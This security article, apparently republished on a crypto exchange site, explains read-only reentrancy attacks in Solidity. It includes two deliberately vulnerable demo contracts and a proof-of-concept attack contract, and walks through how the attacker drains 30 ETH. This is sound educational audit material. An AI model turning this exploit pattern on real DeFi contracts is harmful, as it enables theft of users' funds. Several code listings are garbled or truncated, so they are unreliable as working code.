Essential knowledge for security audit: What is the "read-only reentrancy attack" that has occurred frequently recently and is difficult to prevent?

Author of this article: Beosin security research expert Sivan

Recently, there have been many re-entry attacks in the blockchain ecosystem. These attacks are not like the re-entry vulnerabilities we knew before, but read-only re-entry attacks that occur when the project has a re-entry lock.

The necessary knowledge for today's security audit, the Beosin security research team will explain to you what "read-only reentrancy attack" is.

Necessary knowledge for security audit: What is the "read-only reentrancy attack" that has occurred frequently recently and is difficult to prevent?

What situations lead to the risk of reentrancy vulnerabilities?

In the process of Solidity smart contract programming, one smart contract is allowed to call the code of another smart contract. In the business design of many projects, it is necessary to send ETH to a certain address, but if the ETH receiving address is a smart contract, the fallback function of the smart contract will be called. If a malicious user writes well-designed code in the fallback function of the contract, there may be a risk of reentrancy vulnerabilities.

The attacker can re-initiate the call to the project contract in the fallback function of the malicious contract. At this time, the first call process is not over, and some variables have not been changed. In this case, the second call will cause the project contract to use Unusual variables perform related calculations or allow an attacker to bypass some check restrictions.

In other words, the root of the reentrancy vulnerability lies in calling an interface of the target contract after the transfer is executed, and the change of the ledger causes the check to be bypassed after calling the target contract, that is, the design is not strictly in accordance with the check-validation-interaction mode . Therefore, in addition to reentrancy vulnerabilities caused by Ethereum transfers, some improper designs can also lead to reentrancy attacks, such as the following example:

1. Calling controllable external functions will lead to the possibility of reentrancy

Necessary knowledge for security audit: What is the "read-only reentrancy attack" that has occurred frequently recently and is difficult to prevent?

2. ERC721/1155 security-related functions may cause reentrancy

Necessary knowledge for security audit: What is the "read-only reentrancy attack" that has occurred frequently recently and is difficult to prevent?

At present, reentrancy attacks are a common vulnerability. Most blockchain project developers are also aware of the dangers of reentrancy attacks. Reentrancy locks are basically set in projects, so that when calling a function with a reentrancy lock , any function that holds the same reentrant lock cannot be called again. Although reentry locks can effectively prevent the above reentry attacks, there is another attack called "read-only reentry" that is difficult to prevent.

What is the "read-only reentrancy" that is difficult to prevent?

Above we introduced the common reentrant types, the core of which is to use the abnormal state to calculate the new state after reentry, resulting in abnormal state update. Then if the function we call is a view-modified read-only function, there will be no state modification in the function, and after the function is called, it will not have any impact on this contract. Therefore, developers of such function projects will not pay too much attention to the risk of reentrancy, and will not add reentrancy locks to it.

Although the function modified by re-entry view will basically not affect this contract, there is another situation where a contract will call the view function of other contracts as a data dependency, and the view function of this contract does not add a re-entry lock. Then it may lead to the risk of read-only reentrancy.

For example, a project A contract can pledge tokens and withdraw tokens, and provide the function of querying prices according to the total amount of tokens and pledged contract certificates. There is a re-entry lock between pledged tokens and withdrawn tokens, and the query function does not A reentrant lock exists. There is another project B that provides the function of pledge withdrawal. There is a re-entry lock between pledge and withdrawal. The pledge withdrawal function relies on the price query function of project A to calculate the voucher token.

There is a risk of read-only reentrancy between the above two projects, as shown in the figure below:

  1. The attacker stakes and withdraws tokens in ContractA.

  2. Withdrawing tokens will call the attacker contract fallback function.

  3. The attacker calls the pledge function in ContractB again in the contract.

  4. The pledge function will call the price calculation function of ContractA. At this time, the contract status of ContractA has not been updated, resulting in an error in the calculated price, and more tokens are calculated and sent to the attacker.

  5. After the reentry is completed, the status of ContractA is updated.

  6. Finally, the attacker calls ContractB to withdraw tokens.

  7. At this time, the data obtained by ContractB has been updated, and more tokens can be withdrawn.

Necessary knowledge for security audit: What is the "read-only reentrancy attack" that has occurred frequently recently and is difficult to prevent?

Code principle analysis

We take the following demo as an example to explain the problem of read-only reentrancy. The following is only a test code without real business logic. It is only used as a reference for studying read-only reentrancy.

Write the ContractA contract:

pragma solidity ^0.8.21;contract ContractA { uint256 private _totalSupply; uint256 private _allstake; mapping (address => uint256) public _balances; bool check=true; /** * Reentry lock. **/ modifier noreentrancy(){ require(check); check=false; _; check=true; } constructor(){ } /** * Calculate the pledge based on the total amount of tokens and the pledged amount of the contract certificate Value, 10e8 for precision processing. **/ function get_price() public view virtual returns (uint256) { if(_totalSupply==0||_allstake==0) return 10e8; return _totalSupply*10e8/_allstake; } /\ ** * User pledge, increase pledge amount and provide voucher currency. **/ function deposit() public payable noreentrancy(){ uint256 mintamount=msg.value*get_price()/10e8; _allstake+=msg.value; _balances[msg.sender]+=mintamount; \ _totalSupply+=mintamount; } /** * User withdraws, reduces the pledged amount and destroys the total token amount. **/ function withdraw(uint256 burnamount) public noreentrancy(){ uint256 sendamount=burnamount*10e8/get_price(); _allstake-=sendamount; payable(msg.sender).call{value:sendamount}( ""); _balances[msg.sender]-=burnamount; _totalSupply-=burnamount;

Deploy the ContractA contract and pledge 50ETH, and the simulation project is already running.

Necessary knowledge for security audit: What is the "read-only reentrancy attack" that has occurred frequently recently and is difficult to prevent?

Write ContractB contract (depending on ContractA contract get_price function):

pragma solidity ^0.8.21;interface ContractA { function get_price() external view returns (uint256);}contract ContractB { ContractA contract_a; mapping (address => uint256) private _balances; bool check=true; (){ require(check); check=false; _; check=true; } constructor(){ } function setcontracta(address addr) public { contract_a = ContractA(addr); } /** * Pledge tokens, calculate the value of pledged tokens according to get_price() of the ContractA contract, and calculate the number of voucher tokens**/ function depositFunds() public payable noreentrancy(){ uint256 mintamount=msg.value\ *contract_a.get_price()/10e8; _balances[msg.sender]+=mintamount; } /** * Withdraw tokens and calculate voucher tokens according to ContractA contract’s get_price() Calculate the value of withdrawn tokens**/ function withdrawFunds(uint256 burnamount) public payable noreentrancy(){ _balances[msg.sender]-=burnamount; uint256 amount=burnamount*10e8/contract_a. get_price(); msg.sender.call{value:amount}(""); } function balanceof(address acount) public view returns (uint256){ return _balances [acount] ;

Deploy the ContractB contract to set the ContractA address, and pledge 30ETH, and the simulation project is already running.

Necessary knowledge for security audit: What is the "read-only reentrancy attack" that has occurred frequently recently and is difficult to prevent?

Write an attack POC contract:

pragma solidity ^0.8.21;interface ContractA { function deposit() external payable; function withdraw(uint256 amount) external;}interface ContractB { function depositFunds() external payable; action balanceof(address acount) external view returns (uint256);}contract POC { ContractA contract_a; ContractB contract_b; address payable _owner; uint flag=0; uint256 depositamount=30 ether; ); } function setaddr(address _contracta,address _contractb) public { contract_a=ContractA(_contracta); contract_b=ContractB(_contractb); } /** * The attack starts calling the function, Add liquidity, remove liquidity, and finally withdraw tokens. **/ function start(uint256 amount)public { contract_a.deposit{value:amount}(); contract_a.withdraw(amount); contract_b.withdrawFunds(contract_b.balanceof(address(this ))); } /** * Staking function called in reentrancy. **/ function deposit()internal { contract_b.depositFunds{value:depositamount}(); } /** * After the attack is over, withdraw ETH. **/ function getEther() public { _owner.transfer(address(this).balance); } /** * callback function, reentrant key. **/ fallback() payable external { if(msg.sender==address(contract_a)){ deposit(); }

Change to another EOA account to deploy the attack contract and transfer 50ETH, and set the ContractA and ContractB addresses.

Necessary knowledge for security audit: What is the "read-only reentrancy attack" that has occurred frequently recently and is difficult to prevent?

Pass 50000000000000000000 (50*10^18) into the start function and execute it, and find that 30ETH of ContractB has been transferred by the POC contract.

Necessary knowledge for security audit: What is the "read-only reentrancy attack" that has occurred frequently recently and is difficult to prevent?

Call the getEther function again, and the attacker's address gains 30ETH.

Necessary knowledge for security audit: What is the "read-only reentrancy attack" that has occurred frequently recently and is difficult to prevent?

Code call process analysis:

The start function first calls the deposit function of the ContractA contract to mortgage ETH. The attacker passes in 50*10^18, plus the 50*10^18 owned by the initial contract. At this time, _allstake and _totalSupply are both 100*10 ^18.

Necessary knowledge for security audit: What is the "read-only reentrancy attack" that has occurred frequently recently and is difficult to prevent?

Next, call the contract withdraw function of ContractA to withdraw tokens. The contract will first update _allstake, and send 50 ETH to the attack contract. At this time, it will call the fallback function of the attack contract, and finally update _totalSupply.

Necessary knowledge for security audit: What is the "read-only reentrancy attack" that has occurred frequently recently and is difficult to prevent?

In the fallback function, the attack contract calls the ContractB contract to pledge 30 ETH. Since the get_price is a view function, the ContractB contract successfully re-enters the get_price function of ContractA. At this time, because the _totalSupply has not been updated, it is still 100\ *10^18, but _allstake has been reduced to 50*10^18, so the value returned here will be doubled. It will add 60*10^18 token coins to the attack contract.

Necessary knowledge for security audit: What is the "read-only reentrancy attack" that has occurred frequently recently and is difficult to prevent?

Necessary knowledge for security audit: What is the "read-only reentrancy attack" that has occurred frequently recently and is difficult to prevent?

After the re-entry is over, the attack contract calls the ContractB contract to extract ETH. At this time, _totalSupply has been updated to 50*10^18, and the same amount of ETH as the certificate currency will be calculated. Transferred 60ETH to the attack contract. In the end, the attacker made a profit of 30ETH.

Necessary knowledge for security audit: What is the "read-only reentrancy attack" that has occurred frequently recently and is difficult to prevent?

Beosin Security Advice

For the above security issues, the Beosin security team suggests: For projects that need to rely on other projects as data support, the business logic security of the combination of the dependent project and its own project should be strictly checked. In the case that there are no problems in the two projects alone, serious security problems may arise after combining them.

View Original
This page may contain third-party content, which is provided for information purposes only (not representations/warranties) and should not be considered as an endorsement of its views by Gate, nor as financial or professional advice. See Disclaimer for details.
  • Reward
  • Comment
  • Repost
  • Share
Comment
0/400
No comments
Trade Crypto Anywhere Anytime
qrCode
Scan to download Gate App
Community
English
  • 简体中文
  • English
  • Tiếng Việt
  • 繁體中文
  • Español
  • Русский
  • Français (Afrique)
  • Português (Portugal)
  • Bahasa Indonesia
  • 日本語
  • بالعربية
  • Українська
  • Português (Brasil)